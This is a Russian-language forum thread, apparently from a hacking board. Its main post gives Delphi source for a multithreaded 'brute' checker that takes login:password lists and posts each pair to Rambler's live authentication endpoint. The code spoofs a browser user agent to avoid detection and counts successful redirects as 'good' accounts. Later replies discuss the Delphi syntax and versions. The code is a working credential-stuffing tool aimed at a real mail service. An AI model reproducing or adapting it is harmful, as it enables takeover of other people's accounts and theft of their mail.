многопоточный Брут Rambler

[Relli]

Точно не знаю,работоспособность,т.к. не тестил,а вырезал из 1 из своих программ авторизацию
Скрин

[Ссылки могут видеть только зарегистрированные пользователи. ]

Добавит в uses:
Тык

idhttp, idcookiemanager

Добавляем перед глобальным var'ом
Тык

type
TMyThread = class(TThread)
private
protected
procedure Execute; override;
end;

Добавить в глобальный var
Тык

Thread: array of TMyThread;
Ready, i, Finish, good: integer;
work: boolean;

Код кнопки старт
Тык

var
Index: integer;
begin
if Memo1.Lines[0] = '' then
begin
showMessage('Загрузи Акки!');
exit;
end;
Ready := 0;
work := true;
Finish := Memo1.Lines.Count;
Button2.Enabled := true;;
Button1.Enabled := false;
Application.ProcessMessages;
if sUpDown1.Position > Memo1.Lines.Count then //если потоков больше,чем
sUpDown1.Position := Memo1.Lines.Count; //то уравниваем
SetLength(Thread, sUpDown1.Position); // передаем кол-во указанных потоков в массив "потоков"
for Index := 0 to sUpDown1.Position - 1 do
begin
Thread[Index] := TMyThread.Create(true); // создаем поток,но не запускаем
Thread[Index].FreeOnTerminate := false; // авто уничтожение потока,если закончит работу
Thread[Index].Resume; //запускаем поток
end;

Код кнопки "стоп"
Тык

work := false;

Код кнопки "LoadBase"
Тык

if OpenDialog1.Execute then
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);

Код потока
Тык

var
http: Tidhttp;
j: integer;
login, pass, l, s: string;
str: Tstringlist;
begin
// создаем Idhttp
http := Tidhttp.Create(nil);
// создаем стринглист,куда будем кидать содержимое пост запроса
str := Tstringlist.Create;
http.CookieManager := tidcookiemanager.Create(http); // крутим кукисы
// крутим ЮА,для того чтоб особо не палиться
http.Request.UserAgent :=
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 YB/6.9.1';
http.HandleRedirects := true; // разрешаем ридерикты
j := 0;
http.RedirectMaximum := 2; // макс. значение редериктов
while Ready < Finish do // запускам цикл
begin
// синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд
synchronize(
procedure
begin
j := Ready;
inc(Ready); // увеличиваем кол-во проверенных
if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(';', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(':', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
end);
str.Clear;
// заполняем пост запрос
str.Add('back=http://mail.rambler.ru/');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
if Work = false then //если кликнули "Стоп" то цикл успешно завершается
break;
// посылаем пост запрос
http.Post('http://id.rambler.ru/script/auth.cgi', str);
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', http.Response.Location) <> 0 then
begin
synchronize(
procedure
begin
inc(good);
end);
end
else
continue;
end;
synchronize(
procedure
begin
if Ready = Finish then
if j + 1 = Ready then
if i = 0 then
begin
showMessage('Готово!');
i := 1;
end;
end);
http.Free;
str.Free;
Form2.Button1.Enabled := true;
Form2.Button2.Enabled := false;
end;

[readln]

можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

[Relli]

Цитата: Сообщение от readln можно исходник?? и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

Быть может ты удосужишься посмотреть выложенный мною код,и ,быть может,ты увидишь,как я проверяю(ибо там есть комменты и этот момент рассматривается).А исходник не буду выкладывать.

[[Na`Vi]DendI]

Цитата: Сообщение от readln можно исходник?? и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

В теме же все понятно написано, процитирую если не видно

// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', http.Response.Location) <> 0 then showmessage('GOOD')

[dadya_fedar]

Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...

[Sinyss]

Цитата: Сообщение от dadya_fedar Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...

Это компонент:
[Ссылки могут видеть только зарегистрированные пользователи. ]

[Relli]

Цитата: Сообщение от Mezya67 Где взять компонент supDown..?

Вкладка Win32, компонент TUpDown - не забываем поставить ассоциацию с Edit'ом,где будут показываться потоки.

[Tip.the.besT]

Ссори за чушь...

[Gum4ik]

Цитата: Сообщение от Relli // синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд synchronize( procedure begin j := Ready; inc(Ready); // увеличиваем кол-во проверенных if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя begin login := Copy(Form2.Memo1.Lines[j], 0, // логин Pos(';', Form2.Memo1.Lines[j]) - 1); // пасс pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1, length(Form2.Memo1.Lines[j])); end; if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя begin login := Copy(Form2.Memo1.Lines[j], 0, // логин Pos(':', Form2.Memo1.Lines[j]) - 1); // пасс pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1, length(Form2.Memo1.Lines[j])); end; end); str.Clear; // заполняем пост запрос str.Add('back=http://mail.rambler.ru/'); str.Add('login=' + login); str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login))); str.Add('passw=' + pass); str.Add('long_session=off'); if Work = false then //если кликнули "Стоп" то цикл успешно завершается break; // посылаем пост запрос http.Post('http://id.rambler.ru/script/auth.cgi', str); // проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд if Pos('mail.rambler.ru', http.Response.Location) <> 0 then begin synchronize( procedure begin inc(good); end); end else continue; end; synchronize( procedure begin if Ready = Finish then if j + 1 = Ready then if i = 0 then begin showMessage('Готово!'); i := 1; end; end); http.Free; str.Free; Form2.Button1.Enabled := true; Form2.Button2.Enabled := false; end;

Разве так можно?

Цитата: synchronize( procedure ...БЫДЛО КОД... end; end);

В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...

[Sinyss]

Цитата: Сообщение от Gum4ik а то ведь новички даже и не смогут вставить твой код в свои программы...

В этом и суть, надо же что бы они хоть чуть чуть думали, а то так и останутся *****-кодерами

[Relli]

Цитата: Сообщение от Gum4ik В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой, Может я чего не знаю о дельфи?!)но на 7 не работает! И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...

Быдло-код?
Окей,я *****-кодер
И кстати,я пишу на XE2/3,специально для вас,я даже скрин сделал
И если вы не знаете,что именно так и делается этот метод синхронизации,то могли бы и в тряпочку молчать....Я уверен,что многие даже не знают о существовании такого метода синхронизации :3

[Gum4ik]

Цитата: Сообщение от Relli Быдло-код?

Под моей цитатой подразумевалось лишь только то что мы будем синхронизировать,а не то что твой код туфта!,
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!

[Sinyss]

Цитата: Сообщение от Gum4ik А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!

Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их?
Вы же не учите бейсик...

[Relli]

Цитата: Сообщение от Sinyss Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их? Вы же не учите бейсик...

Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.

[Sinyss]

Цитата: Сообщение от Relli Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.

Для азов я бы заставил писать на максимально урезанном варианте машины тьюринга, (МНР)
операции:
1) увеличение на 1
2) Уменьшение на 1
3) переход в заданную строку
4) условный оператор
5) регистры
И только после этого давал бы всякие делфи или С...
Ну или сразу после МНР что то с ООП... (ну лично я склоняюсь к C# или Java, хотя вариантов сейчас много)